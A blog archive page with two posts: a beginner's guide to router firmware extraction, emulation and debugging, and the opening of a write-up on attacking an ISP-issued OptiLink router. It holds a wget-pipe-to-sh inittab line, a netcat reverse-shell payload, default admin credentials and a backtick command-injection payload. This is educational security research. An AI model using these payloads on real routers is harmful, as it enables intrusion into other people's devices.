Tag Archives: router

A Beginner’s guide into Router Hacking and Firmware Emulation

Prelude

This post is about the personal experiences of me; A noobie hacker- who is super new into router reversing and the challenges I had to face, the research I did and the things I had learned in the journey, partly mentioned in my previous post.

After going through the experience of emulating a firmware, I’ve decided that I should compile all the resources and information I’ve learned in one place, so that fellow beginner’s would’ve a relatively easier time.

Hence, the ideas and resources I share through this post are going to be highly subjective with my experience and chances are that there are some mistakes in this post. So, if you stumble up on any mistakes that I’ve made in this post, kindly reach out to me. I’ll be eternally grateful for the learning experience you will provide and for helping me to make this post more factually correct.

Note: Since, router is an embedded device and steps to perform reversing in most embedded devices are mostly the same, I will use the terms router and IoT/embedded device interchangeably in this article.

Table of Contents

  • Prelude
  • How to find vulnerabilities in the firmware?
  • Why do we need to emulate firmare?
  • How to obtain the firmware?
  • How to extract the firmware?
  • Extracting the packed Firmware
  • Extracting contents using Binwalk
  • Hypervisors that can perform Firmware Emulation
  • How to perform Firmware Emulation?
  • Getting an Interactive Shell
  • Finding supported gdbserver binary file
  • Compiling binary using custom toolchain
  • Postlude

How to find vulnerabilities in the firmware?

There are ‘n’ number of ways in which we can find vulnerabilities in an IoT/embedded device’s firmware. Below is a non exhaustive list of ways in which we can check the embedded device for vulnerabilities.

We can extract the embedded device’s firmware and:

  • Check for vulnerable versions of software
  • Check for hardcoded backdoor credentials
  • Execute individual binaries to check for vulns
  • Emulate the entire system for dynamic analysis
  • Decompile the binaries/libraries and perform static analysis

The skill level required and the level of difficulty to perform the first two checks are very low. The first two checks can be done with ease, With the help of some command line tools and basic knowledge of how *nix systems work. However, the skill level required to perform the rest of the checks and their corresponding difficulty level increases exponentially in the given list.

A table is given below to understand the above tasks in a glance.

Different vulnerability checks in a glance

Why do we need to emulate firmare?

Like I mentioned above, emulating the entire system using the firmware will allow us for in-depth dynamic analysis of the device. For example, a router will almost always have a web server running. And since custom functionalities added to the device might reside inside of pre-compiled binaries or libraries on embedded devices, researchers would usually need to attach the binaries to a debugger such as gdb for dynamic analysis. Because of the resource constraints, gdbserver cannot be executed directly on the embedded device even if we have got a shell on the device.

We could try executing the binary individually, but usually these binaries will have several dependencies and solving all of the dependency problems without emulating the entire system might be very complicated and time consuming.

So, for dynamic analysing the device, firmware emulation is the best method. However, firmware emulation can be tricky, if you don’t know the basics or if you select the wrong tools.

N.B: If you want to jump straight to the part on how to emulate the firmware, skip the below sections and read from “Achieving Full System Emulation using FAT“.

For emulating IoT devices, we need Hypervisors that are specialized in emulating MIPS systems. Now some of you might be thinking that we already have several Hypervisors available like VirtualBox, VMWare Player out there. Why would we need such low level tools for emulating firmware?

If you had this question in mind, don’t worry. You’re not alone. I’ve had the same question. This is because, we need hypervisors that support different kinds of CPU Emulation, so that the firmware designed for a specific CPU type can be emulated.

[ P.S: Wikipedia has a great page on comparision between different Virtualization Software. Check out the different hypervisors and the Guest CPUs they support to get an idea on what I’m talking about.]

Most routers and embedded systems runs on a specific kind of RISC CPUs with MIPS (Microprocessor without Interlocked Pipelined Stages) Instruction Set Architecture. So, for executing the programs compiled for MIPS, the hypervisor would have to emulate a MIPS CPU and translate the instructions intended for MIPS CPU to the host system’s ISA (Instruction Set Architecture) ; which in our case is (x86 or x64).

Now that the “Why” is out of the way, let’s talk about the “How”.

How to obtain the firmware ?

The first step of firmware emulation is obviously getting hands on the embedded device’s firmware. This is highly subjective to the vendor’s policies and the age of the device we are trying to get into.

Valerio from the youtube channel MakeMeHack explains in-depth about how to obtain the firmware. Watch his video, if you prefer a well presented video version; otherwise read along.

Download firmware from vendor’s website

The easiest method would be downloading the firmware from the vendor’s website. If there’s a publicly avaible firmware file, then we could simply google “vendor name + model number + firmware download” and we’ll get it quite easily.

If for some reason the firmware isn’t publicly available, then we would have to rely on harder techniques. The techniques to dump firmware without relying on the official sources are given below.

Dump the firmware using UART

The easiest method to obtain firmware is using UART. If the device has an exposed debug (UART) pins, then we could connect a serial connector and we could try getting a shell on the box. If we are able to obtain a shell on the box, then we could try dumping the entire flash memory to a file using the command line. Read more about this method from here and here.

Use Bus-Pirate to dump the firmware

Bus-Pirate is a serial communication device, which can be connected to the embedded device’s JTAG debugging port and perform different kinds of analytical and debugging operations. This is actually a harder and relatively expensive option and should be tried if you are sure that the JTAG port is enabled in the target device and you are willing to buy the bus-pirate.

Bus-pirate is truly a worthy investment, if you want to tinker with different devices regularly. Here’s an article on how to dump firmware using Bus-Pirate.

Sniff the firmware file during an OTA Upgrade

Most embedded devices use HTTP protocol for communication. They usually don’t implement HTTPS, because of resource constraints. If the embedded device has an OTA update option and it uses HTTP protocol, then we can use this for our advantage. We can sniff the embedded device’s traffic using sniffing tools like Wireshark and uncover how the device requests the OTA server to obtain the firmware image.

We can then either perform the same request to the same URL from our PC or we can use Wireshark to save the sniffed packets as a file.

But, things will get complicated if we want to dump the firmware of a Router. If this is the case and if the router has the capability to mirror all traffic onto a monitoring port, then things will be easier. Otherwise, we would have to perform a MiTM attack and it is way harder in my opinion.

P.S: If there’s an OpenWrt/DDWrt router, then we can connect the target router to the OpenWrt router, enable traffic mirroring and sniff the traffic of the target router from there. Read more about how to perform traffic mirroring in an OpenWRT router from here.

How to extract the firmware?

To extract the firmware, we need to understand how a typical embedded firmware is packed. Usually the firmware is a .bin file with several files embedded in it.

Usually a firmware binary file contain a bootloader (uBoot), a Kernel File, Kernel Header for bootloader (uImage) , A compressed file system (Generally in SquashFS format), A CRC/MD5 table(To verify File integrity) and other miscellaneous files.

Most files will be compressed using lzma or other compression formats to save space.

What we need is to extract the individual files from the single .bin file. To do that, we have to use a Linux distribution. For Windows users, running an instance of WSL would be sufficient.

Now you can select any Linux distribution to your liking, as all of the tools I’m about to mention are *nix tools. But, if you are an absolute beginner and doesn’t want to spend too much time on compiling the tools, then select one of the two distributions I’m going to mention below.

I recommend running AttifyOS or Ubuntu.

AttifyOS is an excellent Linux distribution, which is meant for testing IoT security. Yes! There’s a distro just for testing IoT security!
I was stunned when I first got to knew about AttifyOS and I was blown away when I booted AttifyOS.

Every tool that I wanted for this specific task, were already pre-installed and configured by the AttifyOS team and it saved me a ton of time. AttifyOS was simply just boot it and forget it experience. To add cherry on the top, the OS’s default shell is Fish; which makes the navigation through CLI a breeze without any additional configuration. Also, AttifyOS team is behind developing the Firmware Analysis Toolkit; which I’m going to explain later.

So I highly recommend the reader to run AttifyOS, as all of the tools I’m going to mention here is already installed and pre-configured in AttifyOS.

Home Screen of Attify OS

I’ve mentioned Ubuntu here because from my personal experience and from several anecdotes, Ubuntu have all the required tools already available in the repository and chances are that Ubuntu is much more familiar for beginners.

Sweating GIFs | Tenor
Arch users, don’t @ me!

A general list of tools that we need usually, to perform firmware extraction and analysis are as follows:

  • Binwalk – To identify and extract files from .bin file
  • Strings – Extract ASCII strings from files
  • Lzma – To extract lzma compressed files with unlzma
  • Squashfs-tools – To extract squashfs file system using unsquashfs
  • File – To identify file types using their MagicBytes
  • DD – To extract duplicate files from one place/file to another

Extracting the packed Firmware

I am going to use a sample router firmware and demonstrate the extraction step by step.

PS: I might not use all of the tools I’ve mentioned here in the example, as the use of tools vary from firmware to firmware.

Here, I’ve got a firmware aptly named firmware.tar

Luckily for me, the firmware file was in a tar archive; not a .bin file. Which means that I can view and extract the file’s contents easily, without relying on tools like binwalk to identify and extract the files embedded in the firmware.

Let’s see the contents of the tar archive using the following command.

tar -tvf firmware.tar

And I got the following file listing.

The file names and their brief explanations are given below.

  • fwu.sh – Firmware update script
  • rootfs – The compressed root file system
  • uImage – Linux Kernel Image
  • fwu_ver – ASCII text file with new fw version number
  • md519.txt – Hash list for file integrity checks

Ok, now that the file contents are clear, let’s extract the tar archive. I’ve used the following commands to extract the firmware.tar archive file’s contents to a sub directory named extracted.

mkdir extracted
tar -xvf firmware.tar -C extracted/

Now that the archive is unpacked, let’s run file on the extracted contents.

We can see that the rootfs file is a squashfs file system; which is a compressed read-only file format. Let’s unpack the file system using the unsquashfs command.

The unsquashfs command has created a directory named squashfs-root and extracted the rootfs file’s contents into it.

Now that it’s extracted, let’s see the extracted file system.

Excellent! We can see the directory listing similar to a *nix OS!

There are tons of things we can do with the extracted file system.

For example, we can use our unix command line skills to hunt for hard-coded backdoor credentials in /etc/passwd or /etc/shadow, hunt for plain-text passwords in different configuration files, check for vulnerable configuration files in /etc/, check for initialization scripts in /etc/init.d and much more!

We can also check for vulnerable versions of software/kernel, Decompile the binaries/libraries.

Pro Tip #1 : Use grep -Ri 'password\|passwd\|pass' * 2>/dev/null , when inside directories like /etc, /var etc to list files that contains the string password or passwd or pass.

Further elaboration about Firmware Extraction can be found online. Here are some incredible resources from where I’ve learned about firmware extraction.

Extracting contents using Binwalk

I have explained how to extract firmware, if the firmware file is in an normal archive. But, what if the file is a .bin file?

If we want to extract contents from a .bin file or from an unknown file format or if the file tool returned the file type as data, we can use binwalk to identify and extract contents from the file. Binwalk is an easy to use tool for analyzing, reverse engineering, and extracting firmware images. Binwalk will search the file for familiar file signatures and we can extract the identified files from it.

To demonstrate the use of binwalk, I am going to extract the uImage file; which is a Linux Kernel Image. It contains a Header file and compressed Kernel Image file.

binwalk uImage

We can see that there’s two files embedded inside the uImage file.

A uImage Header and a LZMA compressed Kernel Image. If we look at the decimal section, we can see that the uImage Header file section starts at 0 bytes in the uImage file and extends upto 64 bytes. Then the LZMA compressed file section starts after 64 bytes and extends up to the end of the uImage file.

Now, if we want to extract all of the contents detected by binwalk, then we can specify the -e flag to binwalk and binwalk will extract the identified files automatically to a folder named _$filename.extracted; where $filename is replaced with the name of the file we specified.

binwalk -e uImage
Sweet!

Binwalk extracted the files it identified from the uImage file to a directory named _uImage.extracted.

Let’s now run strings command on the extracted file, to perform some quick static analysis.

strings -n 6 40 |less

The above command will search the specified file for printable characters, with string length >= 6 characters.

And I got the information as shown below.

We’ve got some juicy information such as the Kernel version, gcc version and the Toolkit version used to compile programs for the router, that is Realtek RSDK 1.5.6p2.

These information might come in handy, when searching for vulnerabilities in the device, for debugging or for compiling custom executables for the device.

P.S: The next part “Carving data from file using dd” is skippable. But, knowing how to use a great tool such as dd is a good skill to have in our arsenal.

BONUS: Carving data from file using dd

I have explained how to extract data files using binwalk. But, what if we want to extract just one file from a binary file?

Say for example, I want to carve just the LZMA compressed Kernel Image file from uImage file. If I just want a single file, I can use the dd utility to carve out the specific file out from the binary file.

Let me demonstrate this with an example.

From the above binwalk output, I can see that the uImage header starts at 0 bytes. I can estimate the size of the header by subtracting the start bytes from next file’s decimal size.

In simple terms, if I want to calculate the size of the file F1, then it can be calculated by subtracting the starting byte of F1 from the starting byte of the next file F2.

Here, the next file’s (LZMA compressed Kernel) starting size is 64. So, the size of the uImage header would be 0-64=64 bytes.

We can now use dd command to extract just the uImage Header.

dd if=uImage bs=1 skip=0 count=64 of=header.img

This command will read the uImage file, starting from the 0th byte upto the 64th byte. Then it will save the contents to the output file named header.img.

dd command flags explained.

  • if – Input file name
  • bs – Block size
  • skip – From which byte to start reading
  • count – Read upto this bytes
  • of – Output file name

Note: Here, the skip=0 is optional since, dd by default reads from the beginning of the file. Also, if we want to carve the last file from the uImage, then the count flag can be skipped, because by default, dd reads untill the end of the file.

Output of dd

The downside to this approach is that, if we don’t calculate the size of the file, then chances are that the output file written by dd will most likely be corrupted. So, keep that in mind, before dd ing.

Don't drink and dd. : r/linuxmemes
Don’t drink and dd!

Hypervisors that can perform Firmware Emulation

Now that we’ve extracted the firmware’s contents and performed some static analyis, that’s when we might need to start executing the binaries or emulate the entire system; so that we can reproduce a running device’s state and perform dynamic analysis.

Before we get started, let’s get acquainted with some of the tools required, for firmware emulation.

Choosing a tool to emulate the firmware depends entirely on the researcher’s time and the end goal they are trying to achieve.

For instance, if the researcher needs to quickly check just one binary, they might get away with QEMU user-mode emulation. But if they require communication via network for debugging, then they would want to use QEMU Full System Emulation mode.

There are several tools from which we can emulate the embedded firmware. They are:

There are probably several others, but as far as my research went. These are the best ones. Among these, I’m only going to talk about three of them.

QEMU, Firmadyne and Firmware Analysis Toolkit.

QEMU

The most powerful and low level tool among them is QEMU. QEMU is a free and open-source hypervisor. It emulates the machine’s processor through dynamic binary translation and provides a set of different hardware and device models for the machine. QEMU can also do emulation for user-level processes, allowing applications compiled for one architecture to run on another.

QEMU have different operating modes. But, considering the scope of this guide, we’ll only need to understand two modes:

  • User-mode emulation
  • Full System emulation

QEMU: User-mode Emulation

In this mode, QEMU will run a single binary, that was compiled for a different platform. Using this, we can perform some level of dynamic analysis and run programs without full system emulation.

QEMU: Full System Emulation

In this mode QEMU emulates a full computer system, including peripherals. QEMU can boot many guest operating systems, including Linux, Solaris, Microsoft Windows, DOS, and BSD. It also supports emulating several instruction sets, including x86, MIPS, 32-bit ARMv7, ARMv8, PowerPC, SPARC, ETRAX CRIS and MicroBlaze.

But since QEMU is so low level, it was pretty difficult for me to configure. Even after it started full system emulation, because of some router specific configurations, there were some bugs in the emulation.

So, if you have a particular use-case or have previous experience with QEMU or time constraints are not a matter for you, please go ahead and tinker with different QEMU configurations!

But for the beginners, I would not recommend relying directly on QEMU for Full System Emulation.

Ringzerolabs have an excellent tutorial on the basic how tos on MIPS emulation using QEMU and cross compiling programs for MIPS (Required for compiling gdbserver if there’s no pre-compiled binaries available).

Another excellent article is from Zerodayinitiative, where they discuss in detail about firmware emulation via QEMU.

Firmadyne

Firmadyne is an automated and scalable system for performing emulation and dynamic analysis of Linux-based embedded firmware. 

In short, Firmadyne is built on top of QEMU and it’s like QEMU on steroids. Firmadyne supports QEMU user-mode and Full system emulation and has a ton of awesome features. The features of Firmadyne includes a builtin extractor to extract a filesystem and kernel from downloaded firmware, a small console application to spawn an additional shell for debugging, a scraper to download firmware from 42+ different vendors, Vulnerability Checker script and much more.

The usage is pretty straight forward, but it requires some initial configuration to get started.

Firmware Analysis Toolkit

Firmware Analysis Toolkit (FAT) is a a script to automate Firmadyne, developed by the AttifyOS team. FAT is pretty easy to use and deals with the initial configuration chore in Firmadyne.

The configuration to FAT is pretty small and we just have to specify the sudo password and Path to Firmadyne in fat.config file.

After that, emulating firmware using FAT is incredibly easy. Just specify the firmware file and the firmware will be automatically extracted, contents will be copied to firmadyne’s folder and FAT will start full system emulation if we want to!

Yes. It’s that simple.

Heirarchy of FAT

How to perform Firmware Emulation?

I’ve explained how to obtain firmware, how to extract the firmware and how to perform a basic static analysis using grep and strings.I’ve also discussed about different tools to emulate the embedded firmware. Now, let me talk about the big gun; how to emulate the firmware.

Emulating individual programs using QEMU User-Mode Emulation

To emulate the firmware, we first need to identify the target device’s Instruction Set Architecture and the Endianess. In our case, the target device has MIPS architecture and the endianess is Big Endian. It is also called Most Significant Bit (MSB) architecture, since Big-endian architecture arrange bytes with the most significant byte at the lowest-numbered address. So, in short it will be denoted as mipseb or just mips.

If the target device has MIPS architecture and the endianess is Little Endian, then it will be denoted as mipsel. Little-Endian is also called as Least Significant Bit (LSB) architecture, since Little-endian processors order bytes in memory with the least significant byte of a multi-byte value in the lowest-numbered memory location.

Keep this information in the back of your head for now.

The easiest method of finding the endianess is using the file tool.

Just use file command, against any one of the executable’s inside the extracted file system of the firmware.

We can see that file returned quite a lot of information. We can see that the binary busybox is compiled for the device that has a 32 bit MIPS -I version CPU, with MSB (Big) endianess. i.e, this particular device’s architecture is represented as mipseb or just simply mips.

Now that we’ve identified the processor ISA and Endianess, let’s find the tool required to emulate User-Mode programs.

The tool is called qemu-user-static. In debian based systems, we can install this tool by using sudo apt install qemu-user-static.

Once the installation gets finished, we’ll have quite a few statically linked binaries of QEMU to emulate programs for different CPU types.

List of qemu-user-static binaries for emulating programs in User-mode

Now we need to select an appropriate program.

What we need is a static binary called qemu-<CPU-TYPE>-static. This is a statically compiled version of QEMU, which we can use to perform user-mode emulation. Since my target ISA is mips, I am looking for a binary named qemu-mips-static.

I am going to copy the binary to the extracted squashfs folder. We need to be root to perform the this action.

We can use the following one liner to copy the binary to the extracted file squashfs system.

cd squashfs-root/
cp $(which qemu-mips-static) .

Now, I’m going to chroot into the squashfs folder and execute the ls command INSIDE the squashfs filesystem’s bin folder.

sudo chroot . ./qemu-mips-static bin/ls

Tada!

The ls tool is actually compiled for MIPS CPU and we are now executing the program in a x64 CPU! Pretty cool right!?

Angry Birds movie happy excited animated GIF

Now, if we try to run dynamically linked binaries, missing library file errors might pop up. If that’s the case, then we can specify the path to the missing library file using the LD_PRELOAD or LD_LIBRARY_PATH environment variable to qemu-user-static.

Eg:

sudo chroot . ./qemu-mips-static -E LD_LIBRARY_PATH="/lib/" bin/ls

qemu-user-static also have some cool builtin features like printing strace (Flag -strace), builtin gdbserver (Flag -g <PORT-NUMBER>) etc which makes the debugging easier.

Attaching gdb-multiarch to gdbserver

Once gdbserver is activated, we can connect to the gdbserver port and debug the program. However, we need a special version of gdb to do so. The program is called gdb-multiarch, which supports multiple architectures, than the native one.

To install gdb-multiarch, debian based distro users can use

sudo apt install gdb-multiarch to install it.

Once the installation is finished, we can open the program using gdb-multiarch.

We can then specify the architecture we need. This might be little difficult as there are several architectures to choose from.

Inside gdb-multiarch, type set architecture and press TAB to view the full supported architectures list.

MIPS CPU alone have several versions. It requires some research about the target device’s chip to find the exact version. But, if you don’t know the exact arch, then set the architecture to auto and gdb-multiarch will automatically detect the architecture. 

set architecture auto

If we have some idea about the architecture, then we can usually set the generic name as the target architecture in gdb. In my case, I set the architecture to mips.

Then we can connect to the locally running gdbserver instance using the following command, assuming gdbserver is running on the localhost at port 5555.

target remote localhost:5555

And gdb-multiarch will start the debugging process!

Achieving Full System Emulation using FAT

I’ve already mentioned Firmware Analysis Toolkit above. Now, I am going to use Firmware Analysis Toolkit (FAT) to perform a full system emulation.

We can also use QEMU to perform a Full system emulation, but there are lots of steps involved, like obtaining a .qcow2 image and debian kernel image for MIPS CPU etc. If you are interested to emulate the firmware with QEMU, I highly suggest the reader to read this fantastic article from ringzerolabs. Otherwise, read along.

We can either clone FAT from the github repo, or we can download AttifyOS‘s Virtual machine file. I recommend the latter, as it is much easier and all of the tools will be pre-configured!

Once FAT has been installed, copy the firmware file into FAT’s directory. We just need to edit the fat.config file and enter the sudo password in it.

N.B: Running FAT is a ONE-TIME PROCESS and once the initial extraction and emulation is succesful, we can run further emulations from Firmadyne’s folder.

Now run the python script named fat.py and pass the firmware’s name to it. 

./fat.py firmware.tar

After some time, you’ll see the following screen.

Take a note of the Image Id and the IP address of the Network interface. Here the Image ID is 1 and the IP address is 192.168.101.1.

What happened here is that FAT automatically extracted the firmware, configured firmadyne and copied the contents to firmadyne’s folder with Image ID:1. Once this is done, we can start the firmware emulation again by running firmadyne/scratch/<image-id>/run.sh.

Here the Image Id is 1, so if I want to emulate the firmware again, I would need to run firmadyne/scratch/1/run.sh script. In Attify, the firmadyne path will be a subdirectory to firmware-analysis-toolkit.

NOTE: You need to cd into firmadyne/scratch/<image-id>/ directory, before running ./run.sh, otherwise it might fail.

Now once FAT has shown output like the above image, we can simply press enter and FAT will start the emulation using firmadyne.

After some time, you might get some repeating error messages like the following.

These messages occur due to not meeting the firmware specific dependencies, during emulation of the system. When I press enter during this flood of error output, I was briefly presented with the console login page, but I couldn’t enter the creds because of the rolling errors.

The main problem that usually happens during this error output is that, we wouldn’t be able to login via the console. Let’s talk about how to fix this issue in the next section. As for now, let’s skip fixing this error messages and check if the website is running.

I tried accessing the router via the IP address shown earlier by FAT. i.e, 192.168.101.1.

And I got the web login page!

Yayy! Emulation Succesful!

The Office Its Happening GIFs | Tenor

If you want to stop the emulation, press Ctrl + A on the console. Then release the keys and just press X. QEMU will exit and the emulation will stop.

Like I said before if you want to run the emulation again, cd into firmadyne/scratch/1/ and execute run.sh to start the emulation.

Getting an Interactive Shell

Now that the emulation is working flawlessly, we need ways to debug programs. To do that, usually we need an interactive shell on the emulated device. There are more than one way to gain console access in the target device.

Logging in via QEMU Console

This is the easiest way to gain shell on the emulated box. Once firmadyne boots up the guest device OS, we will be (usually) prompted with a login application. We can then login to the console by entering valid credentials.

The default/hardcoded credentials can be fetched by reading the user manual of the device or by performing static analysis of the firmware, as I’ve mentioned earlier.

Logging in via SSH/Telnet

This is another easy way to gain a shell on the emulated device. If the target device’s firmware supports SSH/Telnet access, then we can enable it usually from the Web Interface of the router. We can then use terminal to login to the device via SSH/Telnet.

But if the emulated device’s firmware doesn’t support these options, then we have to resort to other ways to spawn a shell.

I’ve mentioned earlier that once the emulation was started, I was getting a flood of error output and was not able to login using the QEMU console.

Well I wasn’t bothered about that, since my router firmware had Telnet capabilites. But if that wasn’t the case, then I will have some options.

  • Get a reverse shell using inittab file
  • Fix firmware dependencies or suppress error output
  • Find vulnerabilities in Web Interface and gain shell

Fixing firmware dependencies are in my opinion a headache and I wouldn’t bother doing that, if the emulation is functioning properly. But we can try to suppress the errors by redirecting errors using 2>/dev/null. We can append 2>/dev/null to the command invoked by /etc/inittab file and scripts in /etc/init.d. But this isn’t a guaranteed method to work. So, try this if nothing else works.

The hardest option to get a shell is to search for vulnerabilities in the Web interface and get a shell back. Given the fact that we already have access to the firmware, this might be doable; but can be time consuming.

These two methods can be very difficult. But we have a way to gain shell on the target with ease. We can leverage Firmadyne’s capabilites to get a shell back.

Getting a reverse shell using inittab

We can mount the file system of an Image in Firmadyne, by executing a builtin script called mount.sh followed by the Image ID. By using this capability of firmadyne, we can gain a reverse shell back.

For example, I can mount the file system of the firmware using the following command, from the firmadyne directory.

sudo scripts/mount.sh 1

The filesystem will be mounted at firmadyne/scratch/<Image-id>/image/. In my case, it was mounted at firmadyne/scratch/1/image/

We can umount the mounted file system using the following command.

sudo scripts/unmount.sh 1

Mounting the emulated device’s file system is very helpful in analysing the emulated device and transferring files.

We are going to modify the emulated device’s /etc/inittab file, to get a shell back.

For the uninitiated, the /etc/inittab file is used to control the initialization process. So whatever we enter into this file, will get executed during the booting process.

We are going to add the following line to the device’s /etc/inittab file.

::respawn:/bin/wget -qO- 192.168.101.2/rev.sh|sh

Once I added this line to the inittab file, I saved it.

This command will fetch the rev.sh reverse shell script from our host machine’s python http server and pipe it to the shell. The contents of rev.sh is given below.

rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.101.2 4242 >/tmp/f

Here, I’ve used my Netcat BusyBox reverse shell payload. The explanation to this reverse shell payload was given in my previous post. You can refer that, in case the payload confuses you.

Once the python http server and the nc listener are running, start the emulation and we’ll get a reverse shell back!

Now we’ve got an interactive shell on the emulated device. The next step is to start debugging. To do that, we need a statically compiled gdbserver binary, for the target system.

Finding supported gdbserver binary file

We have now obtained the firmware, extracted the firmware, performed basic static analysis, performed Full system emulation and got interactive shell access on the target.

Now, I’m going to explain how to find a proper gdbserver binary. This part seems easy enough, but you’ll understand why I made a specific section just to explain how to obtain the binary after I’ve done explaining it.

What I wanted after performing a full system emulation was to perform debugging on the httpd binary. To do that we need to run gdbserver on the emulated device, so that we can attach running processes to it.

For people who are too lazy to find toolchains, configure it and compile gdbserver using it, here’s an excellent repository from stayliv3 with precompiled static gdbserver binaries, for different versions of MIPS, ARM and even Lexra architectures. I would like to show my immense gratitude towards stayliv3, for doing this work!

I’ve also uploaded a statically compiled gdbserver v 7.7 for Lexra architecture in my github repo.

In my case, I wanted a gdbserver with version > 7.1.2 for Lexra architecture. But, it wasn’t available in stayliv3’s repo. So I needed to manually compile gdbserver for the desired version.

I needed the gdbserver with version >7.1.2 because my gdb client was version > 7.1 and there were some changes in 7.1 and above, which made gdb client behave differently when connecting to older gdbserver versions.

But first, we need to find a supported toolchain inteded for the target device’s CPU.

Firmadyne’s github page have a small collection of toolchains and instructions to compile binaries.

But in my case, I had a RTL8672 chipset, which showed it was MIPS architecture. It acted like MIPS, but it wasn’t really MIPS architecture. I’ve learned this the hard way by trying to compile and run gdbserver in the emulated device and failing several times.

That’s when my research went deep and found a key piece of information that RTL8672 chipset is not truly a MIPS architecture. Because of patenting issues, it is a slightly different architecture named Lexra, which was MIPS compatible. So I can’t use usual MIPS compiler to compile programs.

This is where the information we’ve obtained during our initial static analysis comes in handy.

SDK version we got from the kernel Image

I’ve used this information to find different toolchains required for compiling binaries for Lexra architecture.

Compiling binary using custom toolchain

I’ve searched for the SDK version and found an interesting repo with several similar toolchains/SDKs. Thanks to mzpqnxow, for these SDKs as it was pretty much unavailable elsewhere.

With some trial and error, I finally had success with rsdk-1.3.6 repo from mzpqnxow.

I’ve cloned the SDK repo and downloaded gdb‘s source code with version 7.7. (Versions greater than 7.7 again had some breaking changes, which I don’t remember now)

Then I navigated to the rsdk-1.3.6 folder and entered the following command.

source rsdk-1.3.6-toolchain/activate

Then I extracted gdb’s tar archive and navigated to cd gdb-7.7/gdb/gdbserver/; Since I’m going to compile gdbserver only.

Then I entered the following commands to start compiling gdbserver using the custom toolchain for Lexra.

make clean;./configure --host="mips-linux-gnu" --target="mips-linux-gnu" CC="mips-linux-gnu-gcc" CFLAGS='-fPIC -static' CXXFLAGS='-fPIC -static'

The host and target flags are not required when using cross_configure. Cross_configure is an alias set by activate script, for ./configure --host="mips-linux-gnu" --target="mips-linux-gnu"

We can also use the following to configure.

make clean;cross_configure CC="mips-linux-gnu-gcc" CFLAGS='-fPIC -static' CXXFLAGS='-fPIC -static'

Now, enter make to compile gdbserver.

make -j

Note: Now if for some reason the compilation fails, then the usual culprit would be that the source activate command failed to configure the custom compiler for us. If that’s the case, specify the path to the compiler explicitly in the CC flag to run configure.

If it’s the configuration step is failing, then try running the script in a bash shell.

make clean ;./configure --host="mips-linux-gnu" --target="mips-linux-gnu" CC="/home/iot/router/rsdk-1.3.6-toolchain/rsdk-1.3.6/bin/mips-linux-gcc" CFLAGS='-fPIC -static' CXXFLAGS='-fPIC -static';make -j

If our compilation was succesful, then there’ll be a gdbserver binary compiled for MIPS in the directory.

And that was it! We’ve succesfully compiled gdbserver from source for the Lexra architecture, using a custom toolchain!

You can download this precompiled static version of gdbserver 7.7 for Lexra from my Github repo.

Postlude

And that’s it!

I’ve tried by best to convert my first experiences as a beginner reverse engineer to an easy to follow guide (realtively speaking) for beginners, so that they can start reversing their first router with ease.

I would like to thank people who believe in Open-source software and selflessly upload their works to github, youtube and various blogs for teaching the world invaluable lessons. I would also like to show my immense gratitude towards people from discord servers, reddit communities and stackexchange forums for being great bros towards fellow noobs.

Peace out! ✌️

P.S: Router Photo by Maik Wi on Unsplash

The Story of How I Hacked my ISP’s Cheapo Standard Issue Router

Prelude

OptiLink is a company based on India that specializes in manufacturing Networking Devices. Two of the largest Internet Service Providers in this country have provided / still providing OptiLink’s ONU (Optical Network Unit) devices as a cost effective ONU device for getting Fiber to home service in India.

But, in the name of cost efficiency, what have been sacrificed? Let’s see.

We know that embedded devices have extremely tight constraints on processing power and storage space. Due to this, inclusion of features are pretty difficult in embedded devices. But, that doesn’t mean the vendors can cheap out on the security of them.

Exploitation Begins

The start of the exploitation was simple. On one fine morning, I got my hands on the Optilink 91001w GPON with firmware version V2.1.11_X101.

The Target (The model I exploited was Dual Antenna model)

Once I got the router, I started tinkering with the web interface. Upon initial enumeration, I have found out that the router had two sets of users. A normal user and a super user.

The default credentials were the following.

admin:admin        # For unprivileged user
adminisp:adminisp  # For super user

The main difference between unprivileged and privileged user is that, privileged user have slightly more control over the web configuration like Ping utility, Tracert utility etc. Almost every other options were same in the web interface for both users.

I decided to start my enumeration with Nmap, and Nmap showed the following output.

PORT    STATE    SERVICE     VERSION                                                                                                                                    
21/tcp  filtered ftp                                                                                                                                                    
23/tcp  filtered telnet                                                                                                                                                 
53/tcp  open     domain      dnsmasq 2.45                                                                                                                               
| dns-nsid:                                                                                                                                                             
|   id.server: MAA                                                                                                                                                      
|_  bind.version: dnsmasq-2.45                                                                                                                                          
80/tcp  open     tcpwrapped                                                                                                                                             
| http-methods:                                                                                                                                                         
|_  Supported Methods: GET HEAD
|_http-server-header: Boa/0.93.15
139/tcp open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open     netbios-ssn Samba smbd 3.0.24 (workgroup: WORKGROUP)

There was an FTP server and a Telnet service running, along with the Webserver and Netbios.

I’ve tried to login to FTP and Telnet via CLI, but for some reason I couldn’t login to them via the correct credentials.

I’ve then decided to move my focus to the web server since it had a Ping utility and since Nmap found the server version as boa server.

Boa server is an ancient webserver, mainly used in embedded devices like routers back in the 2000’s. However, boa server has already stopped it’s development back in 2005! Even though Boa server is dead 16 years ago, it still lives to this day thanks to our vendor.

So, the first thing I did was to searchsploit the boa server version and this was the result.

But these exploits weren’t working with our target. I guess they’ve already patched the publicly available vulnerabilities. Good for them!

Since these publicly available vulnerabilities seemed to have patched, I’ve decided to move on to the Ping utility located at /diag_ping_admin.asp.

Notice the asp extension of the page? That actually left me confused about the OS the router is running, as there are no windows based routers in my knowledge.

So, I’ve decided to ping a target using the Ping utility in the router’s web interface.

The output of ping looked like the following.

The output looks just like the output from the *nix ping utility. So, now I’m sure that the backend OS is some flavor of linux.

So, I started the usual command injection techniques using payloads like ; whoami, &&whoami etc. But, all of them have failed or have made the page waiting at the following output.

However, I’ve noticed that whenever the Ping function fails, it doesn’t show us any output or waits for the ping to complete; instead it straight up throws the error.

That made me suspect the presence of a blacklist in place. The blacklist must be used to filter out the special characters like semicolons, ampersands etc. So, I decided to check for other ways to execute bash commands, without using semicolon or ampersands.

That’s when I found the backtick (`) symbol, that can be used to execute shell commands from here.

So, I tried the back ticks with shell commands. This time the ping was successful, but without the output of the whoami command I tried to execute.

However, this doesn’t mean that our command is not getting executed. So, to verify that my payload is indeed working, I used the following payload into the ping utility to ping my machine.

1.1.1.1`ping -c -4 192.168.1.5`

And before I clicked the ping button, I issued the following command in my machine to listen for any pings and clicked the ping button in the router’s web interface.

sudo tcpdump -i eth0 icmp

